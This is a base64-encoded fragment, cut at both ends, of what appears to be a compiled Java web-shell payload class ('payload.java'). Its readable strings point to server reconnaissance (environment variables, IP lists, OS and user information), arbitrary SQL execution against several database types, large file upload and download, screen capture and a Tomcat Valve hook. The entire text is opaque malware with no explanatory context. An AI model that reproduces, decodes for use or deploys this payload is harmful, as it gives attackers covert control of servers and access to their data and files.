RhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1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